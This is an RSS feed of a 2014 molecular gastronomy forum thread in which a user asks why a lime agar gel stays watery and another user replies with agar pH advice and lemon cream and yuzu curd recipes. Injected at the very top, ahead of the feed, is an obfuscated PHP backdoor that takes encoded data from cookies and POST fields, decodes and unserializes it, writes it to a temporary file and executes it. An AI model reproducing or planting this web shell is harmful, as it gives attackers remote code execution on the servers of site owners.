$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();}<br />
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		<title>Molecular RecipesCitrus in recipes &#8211; Molecular Recipes</title>
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					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9418</guid>
					<title><![CDATA[Citrus in recipes]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9418</link>
					<pubDate>Thu, 15 May 2014 09:30:59 +0000</pubDate>
					<dc:creator>Omer Korat</dc:creator>

					<description>
						<![CDATA[
						<p>I tried to make lime gel and cold citrus sauce.<br />
For the gel, I used 100ml lime juice, some sugar and 1 tbsp agar flakes.<br />
For the cream, I used 250ml citrus juice, 2 egg yolks, 2 tbsp oil and 1/2 tsp xanthan.</p>
<p>The gel is watery and too sour. The sauce is actually a mayonnaise, which is not what I wanted, and it has foul flavor. My questions are:</p>
<p>1. Does citrus counter the gelling effect of agar? I know it can counter gelatin.<br />
2. When using citrus for flavor, should you dilute its acid kick with water? Sugar? something else?<br />
3. Instead of my mayonnaise, how can you turn citrus juice into a thick, mildly flavored translucent sauce?</p>
<p>Thanks to anybody who can answer!</p>
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					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9454</guid>
					<title><![CDATA[Reply To: Citrus in recipes]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9454</link>
					<pubDate>Sat, 24 May 2014 15:58:37 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

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						<p>Agar forms weak gels at PH below 6. You can read more about the properties of agar here <a href="http://www.molecularrecipes.com/hydrocolloid-guide/agar-agar/" rel="nofollow">http://www.molecularrecipes.com/hydrocolloid-guide/agar-agar/</a></p>
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					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9455</guid>
					<title><![CDATA[Reply To: Citrus in recipes]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9455</link>
					<pubDate>Sat, 24 May 2014 16:03:00 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>Maybe not exactly what you need but here is a recipe for a lemon cream <a href="http://www.molecularrecipes.com/multiple-techniques/pavlova-citrus-caribbean-flavors/" rel="nofollow">http://www.molecularrecipes.com/multiple-techniques/pavlova-citrus-caribbean-flavors/</a></p>
<p>Lemon Cream</p>
<p>&#8211; 540g (19 oz) sugar</p>
<p>&#8211; 540g (19 oz) egg</p>
<p>&#8211; 540ml (18 fl oz) lemon juice</p>
<p>&#8211; 8g (0.28 oz) agar agar</p>
<p>&#8211; 600g (21.2 oz) Butter (Salted)</p>
						]]>
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					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9456</guid>
					<title><![CDATA[Reply To: Citrus in recipes]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9456</link>
					<pubDate>Sat, 24 May 2014 16:07:15 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>Here is another option, Yuzu curd <a href="http://www.molecularrecipes.com/multiple-techniques/goat-cheese-mousse-graham-cake-grape-jelly-yuzu-curd-basil-ice-cream/" rel="nofollow">http://www.molecularrecipes.com/multiple-techniques/goat-cheese-mousse-graham-cake-grape-jelly-yuzu-curd-basil-ice-cream/</a></p>
<p>Yuzu Curd Ingredients</p>
<p>&#8211; 63g (2.2oz) Yuzu Puree</p>
<p>&#8211; 69g (2.4oz) Sugar</p>
<p>&#8211; 75g (2.65oz) Yolks</p>
<p>&#8211; 75g (2.65oz) Butter, large dice</p>
						]]>
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				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9550</guid>
					<title><![CDATA[Reply To: Citrus in recipes]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/citrus-in-recipes/#post-9550</link>
					<pubDate>Sat, 07 Jun 2014 23:34:34 +0000</pubDate>
					<dc:creator>Omer Korat</dc:creator>

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						<p>Thanks! I&#8217;ll definitely try those.</p>
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